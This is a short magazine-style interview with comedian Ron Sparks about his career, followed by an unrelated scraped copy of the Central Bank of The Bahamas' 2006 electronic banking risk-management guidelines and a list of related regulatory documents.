text:
Meet a Comedian: Ron Sparks
Ron Sparks is a comedic jack of all trades: stand-up, improv, sketch comedy — he's done it all, and in a relatively short time span. Since bursting onto the comedy scene in 2003, Sparks has racked up a number of awards, including eight Canadian Comedy Awards, and is a common fixture on The Comedy Network. Once voted "North America's Sexiest Comedian," Sparks is obviously the total jocular package.
We chatted with Sparks about MuchMusic's Video on Tria, being a fishmonger and why he keeps on getting nominated at the Canadian Comedy Awards.
What's the first joke you remember being told to you?
"Knock knock?"
"Who's there?"
Were you the class clown growing up?
Definitely. My teachers still won't speak to me.
How did you get into comedy? Was it always something you wanted to pursue?
I always knew I wanted to. I enjoyed improv in high school and got involved in the Vanier Improv Company at York University. From there I got into sketch with [the troupe] Gazebo Pals and The Minnesota Wrecking Crew, then finally tried stand-up.
What was your first-ever stand up gig? Where was it? How did it go?
The Rivoli. From doing sketch, Nug [Comedian Mike Nahrgang] suggested me to Zoe Randall, to take over the doorman gig at the ALTdot Comedy Lounge. [It was for] $20 a week and a free meal, and I got to see and meet literally thousands of great comics over the years I spent there. Anyway, they thought I was funny and eventually talked me into trying stand-up. I was terrified, but luckily it went well because I knew I wanted to do it.
What was the oddest job you've ever held?
Fishmonger at Loblaws. When I started doing stand-up, I quit and dove right in. Luckily I got nominated for the Tim Sims [Encouragement Fund award] so quickly, because I didn't want to end up saying: "I should have kept that job giving people fish."
What was your "big break?"
The Tim Sims Award.
You did MuchMusic's Video on Trial for a while. How was that experience?
To be honest, I've never really watched the show. I would ask my agent to get copies, and he did, and I like knowing they're there, but I've only watched maybe three episodes, including the Stars on Trial special. I like the show though, and obviously it hit with fans.
You're performing with Shoeless, the sketch group. Which do you prefer — sketch comedy or stand-up comedy?
I've started doing a bit of improv again too. Starting in improv helped because you're better able to deal with hecklers or any unforeseen problems that happen on stage. They're all different animals. With sketch, you work with friends, support each other, present what you think is funny. With stand-up, you're on your own, but you obviously don't have to juggle schedules to rehearse. I think I still love stand-up the most, but I wouldn't want to stop doing any of them. They're all fun in their own different ways.
You're nominated again for a Canadian Comedy Award. Why do you think they keep nominating you?
Because I keep submitting 2000 packages a year? Seriously, though, anyone in comedy can submit to the awards, it only costs $35, and you never know what might happen. Being nominated for Best Male Stand-up is a dream! I don't think I have much chance but I've been reminding people to vote and have my fingers crossed. If not this year, hopefully, I'll win down the road.
What's your favourite funny movie?
The list would be too long to even know where to begin. I love Steve Martin's old movies and the Monty Python films. I was just discussing "underappreciated" comedies with a friend — if you haven't seen Quick Change or Short Time, check them out!
Who or what makes you laugh the most?
I can't categorize it. The thing about those big belly laughs that make your sides hurt is you don't expect them. Boyd Banks is a comics' comic who always seems to get me. Mike Wilmot, Derek Edwards, Brent Butt, hundreds of other comics can get me. Troupes like The Imponderables, Picnicface, many more. But on the other hand it might just be something simple, like watching a drunk man roll down the up escalator at St. Clair West station.
If you could have a drink with any comedian, who would that be and what would you want to ask them?
I'd probably pick one of the dead ones because I'm a comedian at heart, and that would be the funniest. And I'd just keep asking them, "Why won't you answer me?!" until the police came.
What's next on the horizon?
Hoping to pick up a full time writing gig. Until then, just doing whatever gigs come my way. I'm surprisingly easy going, Brianne.
The details
Year started in stand-up: 2003
Influences: My dad's record collection (Bob Newhart, Bill Cosby, Steve Martin and a few others) when I was a kid. Also, guys I loved growing up, like Chris Elliott.
Next Show: Black Swan Tavern, 154 Danforth Ave., Aug. 1


text:
- Jasper Murphy
- 1 years ago
- Views:
1 SUPERVISORY AND REGULATORY GUIDELINES: PU th June, 2006 GUIDELINES FOR ELECTRONIC BANKING I. INTRODUCTION The Central Bank of The Bahamas ( the Central Bank ) is responsible for the licensing, regulation and supervision of banks and trust companies operating in and from within The Bahamas pursuant to the Central Bank of The Bahamas Act, 2000 ( the CBA) and the Banks and Trust Companies Regulation Act, 2000 (BTCRA). Additionally, the Central Bank has the duty, in collaboration with financial institutions, to promote and maintain high standards of conduct and management in the provision of banking and trust services. All licensees are expected to adhere to the Central Bank s licensing and prudential requirements, ongoing supervisory programmes and regulatory reporting requirements, and are subject to periodic onsite inspections. Licensees are expected to conduct their affairs in conformity with all other Bahamian legal requirements. II. PURPOSE Electronic banking (e-banking) is defined as the automated delivery of new and traditional banking products and services directly to customers through electronic, interactive communication channels. E-banking includes the systems that enable customers, individuals or businesses, to access accounts, transact business, or obtain information on products and services through a public or private network, including the Internet. These Guidelines set out the Central Bank s approach to the supervision of licensees e- banking services, provide licensees with guidance on general principles for risk management of e-banking, outline suggestions for consumer education and security, and introduce the types of internet financial services. III. APPLICABILITY These Guidelines apply to all licensees. BANK SUPERVISION DEPARTMENT June 6, 2006 Page 1 of 11
2 IV. SUPERVISORY APPROACH The Central Bank s supervisory objective is to establish and maintain a prudent regulatory regime for the provision of e-banking services in The Bahamas. The general principle is that licensees are expected to implement the relevant risk management controls that are commensurate with the risks associated with the types, complexity and amounts of transactions allowed (see Appendix 1) and the electronic delivery channels adopted. The risk management controls established for e-banking should be fully integrated into the risk management systems of the licensee. The Central Bank endorses the principles and recommendations for e-banking outlined by the Basel Committee on Banking Supervision s papers - Risk Management Principles for ( and the Management and Supervision of Cross-Border Activities ( issued July Licensees are encouraged to read and understand the main principles of these documents. In keeping with a risk-based supervisory methodology, the Central Bank s supervisory framework for e-banking aims to provide appropriate levels of supervision of its licensees e-banking activities. Initial Discussions Formal approval is not required to launch new e-banking services or make significant changes to existing services; however as with any other potentially significant change in its operations, licensees should notify and discuss plans with the Central Bank prior to implementing such initiatives in light of the possible implications regarding operational and reputational risk, which may affect capital requirements. The Central Bank will generally require the licensee to present and discuss the strategic outlook for launching e- banking services, demonstrating compatibility with the overall strategy of the licensee s operations, the risk analysis for the planned project together with details of risk/reward study. Importantly, management is expected to demonstrate that it has reviewed the current risk profile of its operations, considered the impact of implementing an e-banking service and that the board has concluded that there are no undue adverse implications for the safety and soundness of the operations given its resources, risk management systems and technical expertise. Specifically, the licensee should satisfy the Central Bank that the following issues are properly addressed:- (1) That there is proper board and senior management oversight; (2) That major technology-related controls relevant to e-banking have been addressed; BANK SUPERVISION DEPARTMENT June 6, 2006 Page 2 of 11
3 (3) That there are appropriate security measures in place, both physical and logical together with other requisite risk management controls; (4) That any other relevant supervisory issues related to activities such as outsourcing and cross border e-banking activities have been addressed 1 ; (5) That a cost-benefit analysis has been conducted of the provision of the new e- banking service; (6) That an e-banking strategy has been developed and documented. The strategy should clearly outline the policies, practices and procedures that address and control all of the risks associated with e-banking; (7) That the effectiveness of the plan will be monitored on an ongoing basis and that it will be updated periodically to take account of changes in technology, legal developments and the business environment including external and internal threats to information security; (8) That risks are monitored on an ongoing basis; and (9) That the board is satisfied that the licensee has the necessary level of capital vis-à-vis related risks as denoted in section (V) of these guidelines. Given the dynamic nature of e-banking and related technology, the Central Bank recognizes that the issues to be dealt with will vary with time and from one licensee to another. The preceding list, therefore, is representative of the issues that should be considered rather than being exhaustive. Ongoing Supervisory Review The Central Bank will, in the course of its onsite examinations and offsite reviews, determine, as appropriate, the adequacy of the licensee s risk management of e-banking services based on the requirements set out in these guidelines. The Central Bank may implement other monitoring processes to facilitate its ongoing supervision of e-banking. Licensees should promptly report any suspected or confirmed cases of fraud relating to e- banking, major security breaches, any material service interruption or other significant issues related to their e-banking services to the Central Bank. V. RISKS ASSOCIATED WITH E-BANKING ACTIVITIES Electronic banking creates new risk management challenges for licensees. Typically, all risks associated with traditional banking and products may be impacted with the 1 (i.e. the necessary supervisory approvals from the Central Bank or overseas regulatory authority have been obtained. BANK SUPERVISION DEPARTMENT June 6, 2006 Page 3 of 11
4 introduction of e-banking services. However, the Central Bank has identified six major categories of risk specifically associated with e-banking for bank supervision purposes. The risks are strategic, operational/transaction, technology, business, reputation and legal. (1) Strategic Risk is the current and prospective impact on earnings or capital arising from adverse business decisions, improper implementation of decisions, or lack of responsiveness to industry changes. Ideally, an e-banking service should be consistent with the bank s overall financial strategy. The planning and decision making process should focus on how specific business needs are met or enhanced by the e-banking product, rather than focusing on the product as an independent business objective. Strategic vision should determine how the e-banking product is designed, implemented, and monitored. The overall strategic vision of the licensee should influence how the e-banking product is designed and implemented. (2) Operational/Transaction Risk arises from fraud, processing errors, system disruptions, and the inability to deliver products or services, maintain a competitive position, and manage information. In the provision of e-banking services, banks often rely on outsourced software companies. They require the proper management of information systems and the right capacity to service their customers. Contingency and business resumption planning is necessary for banks to be sure that they can deliver products and services in the event of adverse circumstances. (3) Technology Risks are risks related to any adverse outcome, damage, loss, disruption, violation, irregularity or failure arising from the use of or reliance on computer hardware, software, electronic devices, online networks, and telecommunications systems. These risks can also be associated with systems failures, processing errors, software defects, operating mistakes, hardware breakdowns, capacity inadequacies, network vulnerabilities, control weaknesses, security shortcomings, malicious attacks, hacking incidents, fraudulent actions and inadequate recovery capabilities. (4) Business Risk In some circumstances, due to the more savvy nature of the e- banking consumer, traditional banking risk, such as credit risks, interest rate risk, liquidity risk, and foreign exchange risk are elevated. (5) Reputation Risk arises from negative public opinion. A licensee s reputation can be damaged by e-banking services that are poorly executed or otherwise alienate customers and the public. It is important that customers understand what they can reasonably expect from a product or service and what special risks and benefits they incur when using the system. Customer education along with formal incident response and management procedures can help lessen reputation risk. (6) Legal Risk is the risk to earnings or capital arising from violations of, or nonconformance with, laws, rules, regulations, or ethical standards. The need to BANK SUPERVISION DEPARTMENT June 6, 2006 Page 4 of 11
5 ensure consistency between paper and electronic advertisements, disclosures, and notices increases the potential for legal violations. Regular monitoring of the licensee s websites will help ensure compliance with applicable laws, rules, and regulations. VI. RISK MANAGEMENT OF E-BANKING ACTIVITIES The board of directors and management of the licensee are responsible for managing its risks, which become more complex following the introduction of electronic banking activities. Risk assessment The Board of Directors or its designated committee should ensure that the risk management of e-banking is an integral part of the licensee s risk management systems (see Corporate Governance Guidelines issued in December 2001). As a result, the applicable risk management policies and processes, and the relevant internal controls and audits as required in the licensee s risk management system should be enforced and carried out as appropriate for the licensee s e-banking services. In addition, the Board or its designated committee should ensure that the licensee s risk management controls and systems are modified and enhanced as necessary to cope with the risk management issues associated with e-banking. The e-banking-related risk management controls and policies should cover, at a minimum, the following risk management mechanisms:- Strategic Risk: o Cost Benefit Analysis Licensees should base any decision to implement e- banking products and services on a thorough analysis of the costs and benefits associated with such action (i.e. lower operating costs, improved or sustained competitive position, increased customer demand for e-banking services, and revenue opportunities). The risk management process requires the board and management to decide on what and how much to invest in security and controls in computer systems, telecommunications and networks. In addition to the obvious costs for personnel, hardware, software, and communications, the analysis should also consider:- Changes to the licensee s policies, procedures and practices; The impact on processing controls for legacy systems 2 ; 2 A system in which a licensee has already invested considerable time and expense. BANK SUPERVISION DEPARTMENT June 6, 2006 Page 5 of 11
6 The appropriate networking architecture, security expertise, and software tools to maintain system availability and to protect and respond to unauthorized access attempts; The skilled staff necessary to support and market e-banking services during expanded hours and over a wider geographic area, including possible expanded market and cross-border activity; The additional expertise and management information systems needed to oversee e-banking vendors or technology service providers; Cost of insurance for e-banking activities; Potential losses due to fraud; and Opportunity costs associated with allocating capital to e-banking efforts. Operational Risk o Business Continuity Considerations E-banking services should be delivered on a continuous basis with a reasonable system response time in accordance with the licensee s terms and conditions and anticipated customer expectations. In times of disruption, licensees should have the ability to switch to back-up systems which are protected against similar disruptions. Licensees should also have regard to the requirements for business continuity planning requirements addressed in the Minimum Standards for the Outsourcing of Material Functions Guidelines issued 4 th May, The e-banking business continuity plan should be documented. The plan should: (a) Set out a process for resuming or replacing e-banking processing capabilities, and reconstructing transaction if necessary, in the event of a business disruption; (b) Be able to address any dependency on outside service providers (e.g. internet service providers); and (c) If an alternate service delivery channel is used for contingency arrangements of a critical e-banking service, licensees should ensure that the alternate service delivery channel can provide an appropriate level of continuous service to its customers, taking into account customers demands and expectations. o Outsourcing Management Some licensees may rely on another unit of the same financial group (e.g. the head office) or outside service providers to operate and maintain IT systems or business processes that support their e-banking services. In these cases, licensees should adhere to the controls specified for outsourcing of material functions in the Minimum Standards for the Outsourcing of Material Functions Guidelines and the requirement for the prior approval of the Central Bank. BANK SUPERVISION DEPARTMENT June 6, 2006 Page 6 of 11
7 Licensees should perform regular due diligence to evaluate the financial soundness and ability of outside service providers to maintain an adequate level of security and to keep abreast of rapidly changing technologies. The Central Bank also expects licensees to specifically focus on: Adopting appropriate procedures for evaluating decisions to outsource electronic banking systems; Conducting appropriate risk analysis and due diligence prior to selecting an e- banking service provider; Committing adequate resources, with the required knowledge and clear accountability, for the effective oversight of e-banking services outsourced to e-banking service providers; Ensuring that the outsourced service is subject to regular independent assessment. In this regard, licensees should have the right to conduct independent reviews or have the right to obtain confirmation that such reviews or audits have been done by an independent party on the e-banking service provider; Assessing the internal capacity necessary to evaluate and oversee outsourcing relationships; Implementing necessary controls and reporting processes to effectively monitor the outsourced e-banking activity; Defining performance expectations under both normal and contingency circumstances; and For cross-border outsourcing, ensuring that the arrangements meet the applicable laws, regulations and supervisory standards. Technological Risk o Authentication of customers Licensees should select reliable and effective authentication techniques to validate the identity and authority of their e-banking customers and should also have regard to the Guidance provided in the Central Bank s Guidelines on the Prevention of Money Laundering and Countering the Financing of Terrorism for verifying customer identity including instances where there is no face to face interaction with a customer; o Confidentiality and Integrity of Information E-banking services entail transmission of sensitive information over the Internet and licensee s internal BANK SUPERVISION DEPARTMENT June 6, 2006 Page 7 of 11
8 networks. Licensees should therefore implement appropriate technologies to maintain confidentiality and integrity of sensitive information while it is being transmitted over the internal and external networks and also, when it is stored inside the licensee s internal systems. Cryptographic technologies can be used to protect the confidentiality and integrity of sensitive information. Licensees should choose cryptographic technologies that are appropriate to the sensitivity and importance of information and the extent of protection needed. o Application Security Inadequate application security in e-banking systems increases the risk of successful penetration or security attacks. Licensees should ensure an appropriate level of application security in respect of their e-banking systems. When licensees select system development tools or programming languages for developing e-banking application systems, they should evaluate the security features that can be provided by different tools or languages to ensure that effective application security can be implemented. In the case of selecting a third-party developed e-banking system, licensees should take into account the appropriateness of the application security of the system. o Internet Infrastructure and Security Monitoring Licensees should establish an appropriate operating environment that supports and protects their e-banking systems. Licensees should proactively monitor their e-banking systems and internet infrastructure on an ongoing basis to detect and record any security breaches, suspected intrusions or weaknesses. Licensees should ensure that sufficient physical controls are in place to deter unauthorised access to all critical e-banking systems, servers, databases and applications. Reputational Risk o Incident Response and Management Licensees should put in place formal incident response and management procedures for timely reporting and handling of suspected or actual security breaches, frauds or service interruptions of their e- banking services during or outside office hours. The incident response and management procedures should allow the licensee to quickly identify the origin of the weakness and contain the damage, assess the potential scale and impact of the incident, escalate promptly to senior management where warranted, identify and notify affected customers, and collect and preserve forensic evidence as appropriate to facilitate the subsequent investigation and prosecution of suspects and intruders if necessary. Furthermore, the incident response procedures should include strategies for dealing with adverse media and customer reactions in a timely way. Licensees should report any suspected or confirmed cases relating to e-banking, major security breaches, any material service interruption or other significant BANK SUPERVISION DEPARTMENT June 6, 2006 Page 8 of 11
9 issues related to their e-banking services to the Central Bank. Licensees should ensure that the specific mechanisms for ensuring this notification to the regulator are in place. Legal Risk o Terms and Conditions - Licensees must set out clearly, in their terms and conditions, the respective rights and obligations between the institutions and their customers. These terms and conditions should protect the interests of both the institutions and the customers. The terms and conditions should be readily available to customers who use the internet banking feature. On initial logon or subscription to a particular service or product, the licensee should require a positive acknowledgement of the terms and conditions from the customer. o Licensees should perform appropriate assessments of the legal and reputation risks associated with their e-banking services. Based on the risk assessment, licensees should have proper controls in place to manage the legal and reputation risks. For example, the controls may include: Proper terms and conditions of e-banking services; Appropriate disclosures and disclaimers prominently posted on the e-banking websites or other relevant documents so as to address the applicable legal requirements and potential reputation issues. In particular, terms and conditions governing outsourced activities and other critical third party relationships; and Consideration of the need to use appropriate insurance coverage to address residual legal risks. VI. CUSTOMER SECURITY AND EDUCATION An important aspect of customer security and risk management is customer education. Therefore, licensees should pay special attention to the provision of easy-to-understand and prominent advice to their customers on e-banking security precautions. The Central Bank suggests the use of multiple channels, such as websites, messages printed on customer statements, promotional leaflets, or even direct staff communication with customers, to reinforce certain key precautionary measures. Security precautionary advice for customers should cover, at a minimum, the following issues:- BANK SUPERVISION DEPARTMENT June 6, 2006 Page 9 of 11
10 Password and user ID selection and protection; Customers should be reminded not to disclose their personal information to unauthorised persons or to any doubtful websites; and Reminders not to access e-banking services through public or shared computers. VII. CROSS BORDER ELECTRONIC BANKING ACTIVITIES Before engaging in cross-border e-banking transactions, licensees should ensure that adequate information is disclosed on their websites to allow potential customers to make a determination of the licensee s identity, home country, and whether it has the relevant regulatory licence(s) before they establish the business relationship. This information will improve transparency and minimize legal and reputational risk associated with cross border e-banking activities. ***END*** BANK SUPERVISION DEPARTMENT June 6, 2006 Page 10 of 11
11 Appendix 1 TYPES OF INTERNET FINANCIAL SERVICES Due to the open and dynamic nature of the Internet, the risks associated with providing online services via the Internet are greater and far more extensive than closed networks and proprietary delivery channels. Specific security and control measures have to be formulated to tie in with the risk management process. It is important that licensees set appropriate control and security benchmarks for the Internet operations. The level of e-banking risk is directly linked to the type of services provided by licensees. The licensee s management should chose a level of e-banking services provided to various customer segments based on customers needs and the institution s risk assessment considerations. Typically, e-banking services can be classified into information service, interactive information exchange service and transactional service. 1. Information Service This is the most basic form of online e-banking service. It is a one-way communication whereby information, advertisements or promotional material are provided to the customers. Although the risks associated with such online services are low, these websites are often the targets of hacking which vandalizes and mutilates the original information being provided. A licensee may suffer reputational harm resulting from its website being hacked. Where a licensee purchases advertising space from a third party, regular monitoring should be made not only of the licensee s advertisement, but also the associated contents of the service provider. Reputational damage may be caused by association with unsavoury advertising being hosted on the same service. 2. Interactive Information Exchange Service This form of Internet services offers slightly more customer interactions compared with the former. Customers are able to communicate with the bank, make account enquiries and complete application forms for additional services or purchase new products offered. The risks pertaining to these websites depend on whether they have any direct links to the licensee s internal network. These risks range from low to moderate according to the connectivity between the Internet and the internal network and the applications that the customer could access. 3. Transactional Service This category of Internet services allows customers to execute online transactions such as the transfer of funds, payment of bills and other financials transactions. This is the highest risk category that requires the strongest controls since online transactions are often irrevocable once executed and the bank s internal systems may be exposed to external attacks if controls are inadequate. BANK SUPERVISION DEPARTMENT June 6, 2006 Page 11 of 11
SUPERVISORY AND REGULATORY GUIDELINES: PU19-0406 Business Continuity Issued: 1 st May, 2007 Revised: 14 th October 2008 BUSINESS CONTINUITY GUIDELINES I. INTRODUCTION The Central Bank of The Bahamas (More information
To: Chief Executive Officers and Chief Information Officers of all National Banks, General Managers of Federal Branches and Agencies, Deputy Comptrollers, Department and Division Heads, and Examining PersonnelMore information
Electronic Payment Schemes Guidelines
BANK OF TANZANIA Electronic Payment Schemes Guidelines Bank of Tanzania May 2007 Bank of Tanzania- Electronic Payment Schemes and Products Guidleness page 1 Bank of Tanzania, 10 Mirambo Street, Dar esMore information
Statement of Guidance: Outsourcing All Regulated Entities
Statement of Guidance: Outsourcing All Regulated Entities 1. STATEMENT OF OBJECTIVES 1.1. 1.2. 1.3. 1.4. This Statement of Guidance ( Guidance ) is intended to provide guidance to regulated entities onMore information
SUPERVISORY AND REGULATORY GUIDELINES: PU-0412 Operational Risk 25 th November, 2013 GUIDELINES FOR THE MANAGEMENT OF OPERATIONAL RISK 1. INTRODUCTION 1.1. The Central Bank of The Bahamas ( the CentralMore information
CAYMAN ISLANDS. Supplement No. 5 published with Gazette No. 19 dated 14 September, STATEMENT OF GUIDANCE: OUTSOURCING REGULATED ENTITIES
CAYMAN ISLANDS Supplement No. 5 published with Gazette No. 19 dated 14 September, 2015. STATEMENT OF GUIDANCE: OUTSOURCING REGULATED ENTITIES Statement of Guidance: Outsourcing Regulated Entities 1. STATEMENTMore information
Guideline on Risk Management of Electronic Banking
Circular No. 003/B/2008-DSB/AMCM (Date: 07/01/2008) Guideline on Risk Management of Electronic Banking The Monetary Authority of Macao (AMCM), under the powers conferred by Article 9 of the Charter approvedMore information
GUIDANCE FOR MANAGING THIRD-PARTY RISK Introduction An institution s board of directors and senior management are ultimately responsible for managing activities conducted through third-party relationships,More information
FINAL May 2005. Guideline on Security Systems for Safeguarding Customer Information
FINAL May 2005 Guideline on Security Systems for Safeguarding Customer Information Table of Contents 1 Introduction 1 1.1 Purpose of Guideline 1 2 Definitions 2 3 Internal Controls and Procedures 2 3.1More information
White Paper on Financial Institution Vendor Management
White Paper on Financial Institution Vendor Management Virtually every organization in the modern economy relies to some extent on third-party vendors that facilitate business operations in a wide varietyMore information
Operational Risk Publication Date: May 2015. 1. Operational Risk... 3
OPERATIONAL RISK Contents 1. Operational Risk... 3 1.1 Legislation... 3 1.2 Guidance... 3 1.3 Risk management process... 4 1.4 Risk register... 7 1.5 EBA Guidelines on the Security of Internet Payments...More information
Operational Risk Management Policy
Operational Risk Management Policy Operational Risk Definition A bank, including a development bank, is influenced by the developments of the external environment in which it is called to operate, as wellMore information
Information Security Handbook
Information Security Handbook Adopted 6/4/14 Page 0 Page 1 1. Introduction... 5 1.1. Executive Summary... 5 1.2. Governance... 5 1.3. Scope and Application... 5 1.4. Biennial Review... 5 2. Definitions...More information
Guidelines for Financial Institutions Outsourcing of Business Activities, Functions, and Processes Date: July 2004
Guidelines for Financial Institutions Outsourcing of Business Activities, Functions, and Processes Date: July 2004 1. INTRODUCTION Financial institutions outsource business activities, functions and processesMore information
SUPERVISORY AND REGULATORY GUIDELINES Guidelines Issued: 22 December 2015 GUIDELINES FOR THE MANAGEMENT OF OPERATIONAL RISK FOR CREDIT UNIONS 1. INTRODUCTION 1.1 The Central Bank of The Bahamas ( the CentralMore information
SUPERVISORY AND REGULATORY GUIDELINES: PU48-0809 ISSUED: 4 th May 2004 REVISED: 27 th August 2009 GUIDELINES ON MINIMUM STANDARDS FOR THE OUTSOURCING OF MATERIAL FUNCTIONS I. INTRODUCTION The Central BankMore information
VENDOR MANAGEMENT. General Overview
VENDOR MANAGEMENT General Overview With many organizations outsourcing services to other third-party entities, the issue of vendor management has become a noted topic in today s business world. VendorMore information
Vendor Management. Outsourcing Technology Services
Vendor Management Outsourcing Technology Services Objectives Board and Senior Management Responsibilities Risk Management Program Risk Assessment Service Provider Selection Contracts Ongoing MonitoringMore information
GUIDANCE NOTE FOR DEPOSIT-TAKERS. Operational Risk Management. March 2012
GUIDANCE NOTE FOR DEPOSIT-TAKERS Operational Risk Management March 2012 Version 1.0 Contents Page No 1 Introduction 2 2 Overview 3 Operational risk - fundamental principles and governance 3 FundamentalMore information
INFORMATION TECHNOLOGY SECURITY STANDARDS Version 2.0 December 2013 Table of Contents 1 OVERVIEW 3 2 SCOPE 4 3 STRUCTURE 5 4 ASSET MANAGEMENT 6 5 HUMAN RESOURCES SECURITY 7 6 PHYSICAL AND ENVIRONMENTALMore information
ISO 27001 Controls and Objectives
ISO 27001 s and Objectives A.5 Security policy A.5.1 Information security policy Objective: To provide management direction and support for information security in accordance with business requirementsMore information
GN 14 GUIDANCE NOTE ON OUTSOURCING Office of the Commissioner of Insurance Contents Page I. Introduction.. 1 II. Application...... 1 III. Interpretation.... 2 IV. Legal and Regulatory Obligations... 3More information
Any business relationship between a bank and another entity, by contract or otherwise
An Overview for Bank Directors Managing the Third Party Relationship Patrick Neuman Boardman & Clark LLP Madison, Wisconsin Any business relationship between a bank and another entity, by contract or otherwiseMore information
Sound Practices for the Management of Operational Risk
1 Sound Practices for the Management of Operational Risk Authority 1.1 Section 316 (4) of the International Business Corporations Act (IBC Act) requires the Commission to take any necessary action requiredMore information
Virginia Commonwealth University School of Medicine Information Security Standard
Virginia Commonwealth University School of Medicine Information Security Standard Title: Scope: Business Continuity Management Standard for IT Systems This standard is applicable to all VCU School of MedicineMore information
Risk Management of Outsourced Technology Services. November 28, 2000
Risk Management of Outsourced Technology Services November 28, 2000 Purpose and Background This statement focuses on the risk management process of identifying, measuring, monitoring, and controlling theMore information
Appendix. Key Areas of Concern. i. Inadequate coverage of cybersecurity risk assessment exercises
Appendix Key Areas of Concern i. Inadequate coverage of cybersecurity risk assessment exercises The scope coverage of cybersecurity risk assessment exercises, such as cybersecurity control gap analysisMore information
Cloud Computing: Legal Risks and Best Practices
Cloud Computing: Legal Risks and Best Practices A Bennett Jones Presentation Toronto, Ontario Lisa Abe-Oldenburg, Partner Bennett Jones LLP November 7, 2012 Introduction Security and Data Privacy RecentMore information
PART A : OVERVIEW...1 1. INTRODUCTION...1 2. OBJECTIVE...1 3. SCOPE...2 4. APPLICABILITY...2 5. DEFINITION...2 6. LEGAL PROVISIONS...3 PART B : OPERATIONAL REQUIREMENTS...4 7. PRINCIPLE 1: ESTABLISH ADEQUATEMore information
Credit Union Liability with Third-Party Processors
World Council of Credit Unions Annual Conference Credit Union Liability with Third-Party Processors Andrew (Andy) Poprawa CEO, Deposit Insurance Corporation of Ontario Canada 1 Credit Union Liability withMore information
Internal Control Systems and Maintenance of Accounting and Other Records for Interactive Gaming & Interactive Wagering Corporations (IGIWC)
Internal Control Systems and Maintenance of Accounting and Other Records for Interactive Gaming & Interactive Wagering Corporations (IGIWC) 1 Introduction 1.1 Section 316 (4) of the International BusinessMore information
RESERVE BANK OF VANUATU DOMESTIC BANK PRUDENTIAL GUIDELINE NO 12 OPERATIONAL RISK MANAGEMENT 1. This Guideline outlines a set of principles that provide a framework for the effective management of operationalMore information
PART A. INTRODUCTION...1 1. Overview of the Guidelines... 1 2. Legal Provisions... 2 3. Scope... 2 PART B. FRAMEWORK FOR INTRODUCTION OF NEW PRODUCTS...5 4. General Conditions... 5 5. General Exception...More information
ISO27001 Controls and Objectives
Introduction This reference document for the University of Birmingham lists the control objectives, specific controls and background information, as given in Annex A to ISO/IEC 27001:2005. As such, theMore information
GUIDELINES ON COMPLIANCE FUNCTION FOR FUND MANAGEMENT COMPANIES Issued: 15 March 2005 Revised: 25 April 2014 1 P a g e List of Revision Revision Effective Date 1 st Revision 23 May 2011 2 nd Revision 16More information
BANKING ORDINANCE. Authorization of Virtual Banks. A Guideline issued by the Monetary Authority under Section 16(10)
BANKING ORDINANCE Authorization of Virtual Banks A Guideline issued by the Monetary Authority under Section 16(10) Introduction 1. This Guideline is issued under section 16(10) of the Banking OrdinanceMore information
Electronic Trading Information Template
Electronic Trading Information Template Preface This Electronic Trading Information Template (the "Template") has been created through the collaborative efforts of the professional associations listedMore information
Issues Paper INTERNATIONAL ASSOCIATION OF INSURANCE SUPERVISORS RISKS TO INSURERS POSED BY ELECTRONIC COMMERCE OCTOBER 2002 Risks to Insurers posed by Electronic Commerce The expansion of electronic commerce,More information
TO: Chief Executive Officers of National Banks, Federal Branches and Data-Processing Centers, Department and Division Heads, and Examining Personnel
AL 2000 12 O OCC ADVISORY LETTER Comptroller of the Currency Administrator of National Banks Subject: Risk Management of Outsourcing Technology Services TO: Chief Executive Officers of National Banks,More information
SITA Security Requirements for Third-Party Service Providers that Access, Process, Store or Transmit Data on Behalf of SITA
SITA Information Security SITA Security Requirements for Third-Party Service Providers that Access, Process, Store or Transmit Data on Behalf of SITA September, 2012 Contents 1. Introduction... 3 1.1 Overview...More information
Financial Services Guidance Note Outsourcing
Financial Services Guidance Note Issued: April 2005 Revised: August 2007 Table of Contents 1. Introduction... 3 1.1 Background... 3 1.2 Definitions... 3 2. Guiding Principles... 5 3. Key Risks of... 14More information
Vendor Management Best Practices
Vendor Management Best Practices Presented by: Raji Sathappan, MBA, CRCM, CISA, CAMS FMS East Coast Regional Conference September 2015 Certified Public Accountants Consultants Wealth Management TechnologyMore information
MAS 626 2 July 2007 Last revised on 1 July 2014 (Refer to endnotes for history of amendments) NOTICE TO BANKS MONETARY AUTHORITY OF SINGAPORE ACT, CAP. 186 PREVENTION OF MONEY LAUNDERING AND COUNTERINGMore information
Data Security Incident Response Plan. [Insert Organization Name]
Data Security Incident Response Plan Dated: [Month] & [Year] [Insert Organization Name] 1 Introduction Purpose This data security incident response plan provides the framework to respond to a securityMore information
GUIDANCE NOTE OUTSOURCING OF FUNCTIONS BY ENTITIES LICENSED UNDER THE PROTECTION OF INVESTORS (BAILIWICK OF GUERNSEY) LAW, 1987 CONTENTS Page 1. Introduction 3-4 2. The Commission s Policy 5 3. OutsourcingMore information
Advisory Guidelines of the Financial Supervisory Authority. Requirements regarding the arrangement of operational risk management
Advisory Guidelines of the Financial Supervisory Authority Requirements regarding the arrangement of operational risk management These Advisory Guidelines have established by resolution no. 63 of the ManagementMore information
PRINCIPLES ON OUTSOURCING OF FINANCIAL SERVICES FOR MARKET INTERMEDIARIES A CONSULTATION REPORT OF THE INTERNATIONAL ORGANIZATION OF SECURITIES COMMISSIONS STANDING COMMITTEE 3 ON MARKET INTERMEDIARIESMore information
PRINCIPLES ON OUTSOURCING OF FINANCIAL SERVICES FOR MARKET INTERMEDIARIES TECHNICAL COMMITTEE OF THE INTERNATIONAL ORGANIZATION OF SECURITIES COMMISSIONS FEBRUARY 2005 Preamble The IOSCO Technical CommitteeMore information
Service Schedule for CLOUD SERVICES
Service Schedule for CLOUD SERVICES This Service Schedule is effective for Cloud Services provided on or after 1 September 2013. Terms and Conditions applicable to Cloud Services provided prior to thisMore information
Information Technology Risk
Information Technology Risk Joint World Bank/Federal Reserve System Seminar for Senior Bank Supervisors from Emerging Economies Adrienne Haden & Mike Wallas Board of Governors of the Federal Reserve SystemMore information
FEDERAL HOUSING FINANCE AGENCY ADVISORY BULLETIN AB 2014-07 OVERSIGHT OF SINGLE-FAMILY SELLER/SERVICER RELATIONSHIPS. Purpose
FEDERAL HOUSING FINANCE AGENCY ADVISORY BULLETIN AB 2014-07 OVERSIGHT OF SINGLE-FAMILY SELLER/SERVICER RELATIONSHIPS Purpose This advisory bulletin communicates the Federal Housing Finance Agency s (FHFA)More information
COMPUTER SECURITY INCIDENT RESPONSE POLICY 1 Overview The Federal Information Security Management Act (FISMA) of 2002 requires Federal agencies to establish computer security incident response capabilities.More information
6/8/2016 OVERVIEW. Page 1 of 9
